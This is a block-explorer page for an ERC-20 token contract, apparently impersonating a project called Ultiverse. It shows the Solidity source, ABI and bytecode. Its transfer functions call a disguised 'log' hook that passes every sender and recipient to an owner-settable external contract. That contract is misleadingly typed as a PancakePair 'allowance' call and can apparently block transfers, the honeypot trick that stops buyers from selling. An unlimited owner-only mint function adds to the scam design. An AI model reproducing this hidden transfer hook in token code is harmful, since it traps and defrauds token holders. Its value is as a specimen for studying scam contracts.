ERC-20
Overview
Max Total Supply
2,000,001,000,000,000 MAX
Holders
772
Total Transfers
-
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x27b4ff93...169A97F29 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Token
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at basescan.org on 2024-06-01 */ /** *Submitted for verification at basescan.org on 2024-06-01 */ //SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface IPancakePair { function allowance(address owner, address spender,address sender) external returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner,"Caller is not the owner"); _; } } contract Token is Ownable{ using SafeMath for uint256; uint256 public totalSupply; string public name; string public symbol; uint public decimals; mapping (address => mapping (address => uint256)) internal allowed; mapping(address => uint256) balances; address public LP; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); bool internal _INITIALIZED_; modifier notInitialized() { require(!_INITIALIZED_, "INITIALIZED"); _; } constructor(string memory _name, string memory _symbol, uint256 _supply, address _owner) public { name = _name; symbol = _symbol; decimals = 18; totalSupply = _supply * 10**decimals; balances[_owner] = totalSupply; owner = _owner; emit Transfer(address(0), _owner, totalSupply); } function initToken(address _lp) public notInitialized returns (bool){ _INITIALIZED_=true; LP=_lp; return true; } function transfer(address _to, uint256 _value) public returns (bool) { log(msg.sender,_to); require(_to != address(0)); require(_to != msg.sender); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); // SafeMath.sub will throw if there is not enough balance. balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { log(_from,_to); require(_to != _from); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); // SafeMath.sub will throw if there is not enough balance. balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function log(address _from, address _to) internal{ if(LP!=address(0)){ IPancakePair(LP).allowance(_from,_to,msg.sender); } } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function mint(address account, uint256 amount) onlyOwner public { totalSupply = totalSupply.add(amount); balances[account] = balances[account].add(amount); emit Transfer(address(0), account, amount); } function setLP(address _lp) public onlyOwner returns (bool success) { require(LP != _lp); LP=_lp; return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LP","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lp","type":"address"}],"name":"initToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_lp","type":"address"}],"name":"setLP","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040516200112c3803806200112c8339810160408190526200003491620001a7565b6002620000428582620002cb565b506003620000518482620002cb565b50601260048190556200006690600a620004ac565b620000729083620004c1565b60018190556001600160a01b038216600081815260066020908152604080832085905582546001600160a01b0319168417835551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050620004db565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200010a57600080fd5b81516001600160401b0380821115620001275762000127620000e2565b604051601f8301601f19908116603f01168101908282118183101715620001525762000152620000e2565b816040528381526020925086838588010111156200016f57600080fd5b600091505b8382101562000193578582018301518183018401529082019062000174565b600093810190920192909252949350505050565b60008060008060808587031215620001be57600080fd5b84516001600160401b0380821115620001d657600080fd5b620001e488838901620000f8565b95506020870151915080821115620001fb57600080fd5b506200020a87828801620000f8565b60408701516060880151919550935090506001600160a01b03811681146200023157600080fd5b939692955090935050565b600181811c908216806200025157607f821691505b6020821081036200027257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002c657600081815260208120601f850160051c81016020861015620002a15750805b601f850160051c820191505b81811015620002c257828155600101620002ad565b5050505b505050565b81516001600160401b03811115620002e757620002e7620000e2565b620002ff81620002f884546200023c565b8462000278565b602080601f8311600181146200033757600084156200031e5750858301515b600019600386901b1c1916600185901b178555620002c2565b600085815260208120601f198616915b82811015620003685788860151825594840194600190910190840162000347565b5085821015620003875787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003ee578160001904821115620003d257620003d262000397565b80851615620003e057918102915b93841c9390800290620003b2565b509250929050565b6000826200040757506001620004a6565b816200041657506000620004a6565b81600181146200042f57600281146200043a576200045a565b6001915050620004a6565b60ff8411156200044e576200044e62000397565b50506001821b620004a6565b5060208310610133831016604e8410600b84101617156200047f575081810a620004a6565b6200048b8383620003ad565b8060001904821115620004a257620004a262000397565b0290505b92915050565b6000620004ba8383620003f6565b9392505050565b8082028115828204841417620004a657620004a662000397565b610c4180620004eb6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063b6fccf8a11610066578063b6fccf8a14610223578063d73dd62314610236578063dd62ed3e14610249578063df4d17dc1461028257600080fd5b806370a08231146101b45780638da5cb5b146101dd57806395d89b4114610208578063a9059cbb1461021057600080fd5b80632f34d282116100d35780632f34d28214610170578063313ce5671461018357806340c10f191461018c57806366188463146101a157600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd1461015d575b600080fd5b61010d610295565b60405161011a9190610a44565b60405180910390f35b610136610131366004610aa9565b610323565b604051901515815260200161011a565b61014f60015481565b60405190815260200161011a565b61013661016b366004610ad3565b610390565b61013661017e366004610b0f565b61051a565b61014f60045481565b61019f61019a366004610aa9565b6105b2565b005b6101366101af366004610aa9565b610696565b61014f6101c2366004610b0f565b6001600160a01b031660009081526006602052604090205490565b6000546101f0906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b61010d61077e565b61013661021e366004610aa9565b61078b565b6007546101f0906001600160a01b031681565b610136610244366004610aa9565b610872565b61014f610257366004610b2a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b610136610290366004610b0f565b6108f7565b600280546102a290610b5d565b80601f01602080910402602001604051908101604052809291908181526020018280546102ce90610b5d565b801561031b5780601f106102f05761010080835404028352916020019161031b565b820191906000526020600020905b8154815290600101906020018083116102fe57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061037e9086815260200190565b60405180910390a35060015b92915050565b600061039c848461096d565b836001600160a01b0316836001600160a01b0316036103ba57600080fd5b6001600160a01b0383166103cd57600080fd5b6001600160a01b0384166000908152600660205260409020548211156103f257600080fd5b6001600160a01b038416600090815260056020908152604080832033845290915290205482111561042257600080fd5b6001600160a01b0384166000908152600660205260409020546104459083610a02565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546104749083610a25565b6001600160a01b0380851660009081526006602090815260408083209490945591871681526005825282812033825290915220546104b29083610a02565b6001600160a01b03858116600081815260056020908152604080832033845282529182902094909455518581529186169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35060019392505050565b600080546001600160a01b031633146105745760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b6007546001600160a01b0380841691160361058e57600080fd5b50600780546001600160a01b0319166001600160a01b03831617905560015b919050565b6000546001600160a01b031633146106065760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161056b565b6001546106139082610a25565b6001556001600160a01b0382166000908152600660205260409020546106399082610a25565b6001600160a01b0383166000818152600660205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061068a9085815260200190565b60405180910390a35050565b3360009081526005602090815260408083206001600160a01b0386168452909152812054808311156106eb573360009081526005602090815260408083206001600160a01b038816845290915281205561071a565b6106f58184610a02565b3360009081526005602090815260408083206001600160a01b03891684529091529020555b3360008181526005602090815260408083206001600160a01b038916808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b600380546102a290610b5d565b6000610797338461096d565b6001600160a01b0383166107aa57600080fd5b336001600160a01b038416036107bf57600080fd5b336000908152600660205260409020548211156107db57600080fd5b336000908152600660205260409020546107f59083610a02565b33600090815260066020526040808220929092556001600160a01b038516815220546108219083610a25565b6001600160a01b0384166000818152600660205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061037e9086815260200190565b3360009081526005602090815260408083206001600160a01b03861684529091528120546108a09083610a25565b3360008181526005602090815260408083206001600160a01b038916808552908352928190208590555193845290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161037e565b600754600090600160a01b900460ff16156109425760405162461bcd60e51b815260206004820152600b60248201526a125392551250531256915160aa1b604482015260640161056b565b50600780546001600160a01b0383166001600160a81b031990911617600160a01b1790556001919050565b6007546001600160a01b0316156109fe5760075460405163927da10560e01b81526001600160a01b03848116600483015283811660248301523360448301529091169063927da105906064016020604051808303816000875af11580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fc9190610b97565b505b5050565b600082821115610a1457610a14610bb9565b610a1e8284610be5565b9392505050565b600080610a328385610bf8565b905083811015610a1e57610a1e610bb9565b600060208083528351808285015260005b81811015610a7157858101830151858201604001528201610a55565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146105ad57600080fd5b60008060408385031215610abc57600080fd5b610ac583610a92565b946020939093013593505050565b600080600060608486031215610ae857600080fd5b610af184610a92565b9250610aff60208501610a92565b9150604084013590509250925092565b600060208284031215610b2157600080fd5b610a1e82610a92565b60008060408385031215610b3d57600080fd5b610b4683610a92565b9150610b5460208401610a92565b90509250929050565b600181811c90821680610b7157607f821691505b602082108103610b9157634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610ba957600080fd5b81518015158114610a1e57600080fd5b634e487b7160e01b600052600160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8181038181111561038a5761038a610bcf565b8082018082111561038a5761038a610bcf56fea2646970667358221220615e6358c93865d8fdb04646f46600a00bd23a03b40d210d464dc61d7228606864736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000002540be3ff000000000000000000000000f0b874b406bf088734217b948ae98b4556bc54080000000000000000000000000000000000000000000000000000000000000009556c7469766572736500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004554c544900000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063b6fccf8a11610066578063b6fccf8a14610223578063d73dd62314610236578063dd62ed3e14610249578063df4d17dc1461028257600080fd5b806370a08231146101b45780638da5cb5b146101dd57806395d89b4114610208578063a9059cbb1461021057600080fd5b80632f34d282116100d35780632f34d28214610170578063313ce5671461018357806340c10f191461018c57806366188463146101a157600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd1461015d575b600080fd5b61010d610295565b60405161011a9190610a44565b60405180910390f35b610136610131366004610aa9565b610323565b604051901515815260200161011a565b61014f60015481565b60405190815260200161011a565b61013661016b366004610ad3565b610390565b61013661017e366004610b0f565b61051a565b61014f60045481565b61019f61019a366004610aa9565b6105b2565b005b6101366101af366004610aa9565b610696565b61014f6101c2366004610b0f565b6001600160a01b031660009081526006602052604090205490565b6000546101f0906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b61010d61077e565b61013661021e366004610aa9565b61078b565b6007546101f0906001600160a01b031681565b610136610244366004610aa9565b610872565b61014f610257366004610b2a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b610136610290366004610b0f565b6108f7565b600280546102a290610b5d565b80601f01602080910402602001604051908101604052809291908181526020018280546102ce90610b5d565b801561031b5780601f106102f05761010080835404028352916020019161031b565b820191906000526020600020905b8154815290600101906020018083116102fe57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061037e9086815260200190565b60405180910390a35060015b92915050565b600061039c848461096d565b836001600160a01b0316836001600160a01b0316036103ba57600080fd5b6001600160a01b0383166103cd57600080fd5b6001600160a01b0384166000908152600660205260409020548211156103f257600080fd5b6001600160a01b038416600090815260056020908152604080832033845290915290205482111561042257600080fd5b6001600160a01b0384166000908152600660205260409020546104459083610a02565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546104749083610a25565b6001600160a01b0380851660009081526006602090815260408083209490945591871681526005825282812033825290915220546104b29083610a02565b6001600160a01b03858116600081815260056020908152604080832033845282529182902094909455518581529186169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35060019392505050565b600080546001600160a01b031633146105745760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b6007546001600160a01b0380841691160361058e57600080fd5b50600780546001600160a01b0319166001600160a01b03831617905560015b919050565b6000546001600160a01b031633146106065760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161056b565b6001546106139082610a25565b6001556001600160a01b0382166000908152600660205260409020546106399082610a25565b6001600160a01b0383166000818152600660205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061068a9085815260200190565b60405180910390a35050565b3360009081526005602090815260408083206001600160a01b0386168452909152812054808311156106eb573360009081526005602090815260408083206001600160a01b038816845290915281205561071a565b6106f58184610a02565b3360009081526005602090815260408083206001600160a01b03891684529091529020555b3360008181526005602090815260408083206001600160a01b038916808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b600380546102a290610b5d565b6000610797338461096d565b6001600160a01b0383166107aa57600080fd5b336001600160a01b038416036107bf57600080fd5b336000908152600660205260409020548211156107db57600080fd5b336000908152600660205260409020546107f59083610a02565b33600090815260066020526040808220929092556001600160a01b038516815220546108219083610a25565b6001600160a01b0384166000818152600660205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061037e9086815260200190565b3360009081526005602090815260408083206001600160a01b03861684529091528120546108a09083610a25565b3360008181526005602090815260408083206001600160a01b038916808552908352928190208590555193845290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161037e565b600754600090600160a01b900460ff16156109425760405162461bcd60e51b815260206004820152600b60248201526a125392551250531256915160aa1b604482015260640161056b565b50600780546001600160a01b0383166001600160a81b031990911617600160a01b1790556001919050565b6007546001600160a01b0316156109fe5760075460405163927da10560e01b81526001600160a01b03848116600483015283811660248301523360448301529091169063927da105906064016020604051808303816000875af11580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fc9190610b97565b505b5050565b600082821115610a1457610a14610bb9565b610a1e8284610be5565b9392505050565b600080610a328385610bf8565b905083811015610a1e57610a1e610bb9565b600060208083528351808285015260005b81811015610a7157858101830151858201604001528201610a55565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146105ad57600080fd5b60008060408385031215610abc57600080fd5b610ac583610a92565b946020939093013593505050565b600080600060608486031215610ae857600080fd5b610af184610a92565b9250610aff60208501610a92565b9150604084013590509250925092565b600060208284031215610b2157600080fd5b610a1e82610a92565b60008060408385031215610b3d57600080fd5b610b4683610a92565b9150610b5460208401610a92565b90509250929050565b600181811c90821680610b7157607f821691505b602082108103610b9157634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610ba957600080fd5b81518015158114610a1e57600080fd5b634e487b7160e01b600052600160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8181038181111561038a5761038a610bcf565b8082018082111561038a5761038a610bcf56fea2646970667358221220615e6358c93865d8fdb04646f46600a00bd23a03b40d210d464dc61d7228606864736f6c63430008120033
Deployed Bytecode Sourcemap
1349:4050:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1449:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3897:206;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3897:206:0;1004:187:1;1416:26:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;1416:26:0;1196:177:1;3107:611:0;;;;;;:::i;:::-;;:::i;5246:146::-;;;;;;:::i;:::-;;:::i;1501:20::-;;;;;;5003:235;;;;;;:::i;:::-;;:::i;:::-;;4545:450;;;;;;:::i;:::-;;:::i;2984:115::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3075:16:0;3040:15;3075:16;;;:8;:16;;;;;;;2984:115;1111:20;;;;;-1:-1:-1;;;;;1111:20:0;;;;;;-1:-1:-1;;;;;2066:32:1;;;2048:51;;2036:2;2021:18;1111:20:0;1902:203:1;1474:20:0;;;:::i;2484:490::-;;;;;;:::i;:::-;;:::i;1644:17::-;;;;;-1:-1:-1;;;;;1644:17:0;;;4257:280;;;;;;:::i;:::-;;:::i;4113:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4214:15:0;;;4187:7;4214:15;;;:7;:15;;;;;;;;:25;;;;;;;;;;;;;4113:134;2329:145;;;;;;:::i;:::-;;:::i;1449:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3897:206::-;3989:10;3964:4;3981:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;3981:29:0;;;;;;;;;;:38;;;4035;3964:4;;3981:29;;4035:38;;;;4013:6;1342:25:1;;1330:2;1315:18;;1196:177;4035:38:0;;;;;;;;-1:-1:-1;4091:4:0;3897:206;;;;;:::o;3107:611::-;3189:4;3206:14;3210:5;3216:3;3206;:14::i;:::-;3246:5;-1:-1:-1;;;;;3239:12:0;:3;-1:-1:-1;;;;;3239:12:0;;3231:21;;;;;;-1:-1:-1;;;;;3271:17:0;;3263:26;;;;;;-1:-1:-1;;;;;3318:15:0;;;;;;:8;:15;;;;;;3308:25;;;3300:34;;;;;;-1:-1:-1;;;;;3363:14:0;;;;;;:7;:14;;;;;;;;3378:10;3363:26;;;;;;;;3353:36;;;3345:45;;;;;;-1:-1:-1;;;;;3419:15:0;;;;;;:8;:15;;;;;;:27;;3439:6;3419:19;:27::i;:::-;-1:-1:-1;;;;;3401:15:0;;;;;;;:8;:15;;;;;;:45;;;;3541:13;;;;;;;:25;;3559:6;3541:17;:25::i;:::-;-1:-1:-1;;;;;3525:13:0;;;;;;;:8;:13;;;;;;;;:41;;;;3606:14;;;;;:7;:14;;;;;3621:10;3606:26;;;;;;;:38;;3637:6;3606:30;:38::i;:::-;-1:-1:-1;;;;;3577:14:0;;;;;;;:7;:14;;;;;;;;3592:10;3577:26;;;;;;;;:67;;;;3660:28;1342:25:1;;;3660:28:0;;;;3577:14;;3660:28;;1315:18:1;3660:28:0;;;;;;;-1:-1:-1;3706:4:0;3107:611;;;;;:::o;5246:146::-;5302:12;1286:5;;-1:-1:-1;;;;;1286:5:0;1272:10;:19;1264:54;;;;-1:-1:-1;;;1264:54:0;;2962:2:1;1264:54:0;;;2944:21:1;3001:2;2981:18;;;2974:30;-1:-1:-1;;;3020:18:1;;;3013:53;3083:18;;1264:54:0;;;;;;;;;5335:2:::1;::::0;-1:-1:-1;;;;;5335:9:0;;::::1;:2:::0;::::1;:9:::0;5327:18:::1;;;::::0;::::1;;-1:-1:-1::0;5356:2:0::1;:6:::0;;-1:-1:-1;;;;;;5356:6:0::1;-1:-1:-1::0;;;;;5356:6:0;::::1;;::::0;;-1:-1:-1;1329:1:0::1;5246:146:::0;;;:::o;5003:235::-;1286:5;;-1:-1:-1;;;;;1286:5:0;1272:10;:19;1264:54;;;;-1:-1:-1;;;1264:54:0;;2962:2:1;1264:54:0;;;2944:21:1;3001:2;2981:18;;;2974:30;-1:-1:-1;;;3020:18:1;;;3013:53;3083:18;;1264:54:0;2760:347:1;1264:54:0;5094:11:::1;::::0;:23:::1;::::0;5110:6;5094:15:::1;:23::i;:::-;5080:11;:37:::0;-1:-1:-1;;;;;5148:17:0;::::1;;::::0;;;:8:::1;:17;::::0;;;;;:29:::1;::::0;5170:6;5148:21:::1;:29::i;:::-;-1:-1:-1::0;;;;;5128:17:0;::::1;;::::0;;;:8:::1;:17;::::0;;;;;:49;;;;5193:37;;5128:17;;;5193:37:::1;::::0;::::1;::::0;5223:6;1342:25:1;;1330:2;1315:18;;1196:177;5193:37:0::1;;;;;;;;5003:235:::0;;:::o;4545:450::-;4669:10;4628:4;4661:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4661:29:0;;;;;;;;;;4705:27;;;4701:188;;;4757:10;4781:1;4749:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4749:29:0;;;;;;;;;:33;4701:188;;;4847:30;:8;4860:16;4847:12;:30::i;:::-;4823:10;4815:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4815:29:0;;;;;;;;;:62;4701:188;4913:10;4935:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4904:61:0;;4935:29;;;;;;;;;;;4904:61;;1342:25:1;;;4904:61:0;;4913:10;4904:61;;1315:18:1;4904:61:0;;;;;;;-1:-1:-1;4983:4:0;;4545:450;-1:-1:-1;;;4545:450:0:o;1474:20::-;;;;;;;:::i;2484:490::-;2547:4;2564:19;2568:10;2579:3;2564;:19::i;:::-;-1:-1:-1;;;;;2604:17:0;;2596:26;;;;;;2648:10;-1:-1:-1;;;;;2641:17:0;;;2633:26;;;;;;2697:10;2688:20;;;;:8;:20;;;;;;2678:30;;;2670:39;;;;;;2752:10;2743:20;;;;:8;:20;;;;;;:32;;2768:6;2743:24;:32::i;:::-;2729:10;2720:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;2870:13:0;;;;;;:25;;2888:6;2870:17;:25::i;:::-;-1:-1:-1;;;;;2854:13:0;;;;;;:8;:13;;;;;;;:41;;;;2911:33;;2920:10;;2911:33;;;;2937:6;1342:25:1;;1330:2;1315:18;;1196:177;4257:280:0;4392:10;4335:4;4384:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4384:29:0;;;;;;;;;;:46;;4418:11;4384:33;:46::i;:::-;4360:10;4352:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4352:29:0;;;;;;;;;;;;:78;;;4446:61;1342:25:1;;;4352:29:0;;4446:61;;1315:18:1;4446:61:0;1196:177:1;2329:145:0;1916:13;;2392:4;;-1:-1:-1;;;1916:13:0;;;;1915:14;1907:38;;;;-1:-1:-1;;;1907:38:0;;3314:2:1;1907:38:0;;;3296:21:1;3353:2;3333:18;;;3326:30;-1:-1:-1;;;3372:18:1;;;3365:41;3423:18;;1907:38:0;3112:335:1;1907:38:0;-1:-1:-1;2408:13:0::1;:18:::0;;-1:-1:-1;;;;;2438:6:0;::::1;-1:-1:-1::0;;;;;;2438:6:0;;;;-1:-1:-1;;;2438:6:0;;;2422:4:::1;2329:145:::0;;;:::o;3726:161::-;3789:2;;-1:-1:-1;;;;;3789:2:0;:14;3786:92;;3831:2;;3818:48;;-1:-1:-1;;;3818:48:0;;-1:-1:-1;;;;;3710:15:1;;;3818:48:0;;;3692:34:1;3762:15;;;3742:18;;;3735:43;3855:10:0;3794:18:1;;;3787:43;3831:2:0;;;;3818:26;;3627:18:1;;3818:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;3786:92;3726:161;;:::o;675:123::-;733:7;765:1;760;:6;;753:14;;;;:::i;:::-;785:5;789:1;785;:5;:::i;:::-;778:12;675:123;-1:-1:-1;;;675:123:0:o;806:147::-;864:7;;896:5;900:1;896;:5;:::i;:::-;884:17;;924:1;919;:6;;912:14;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;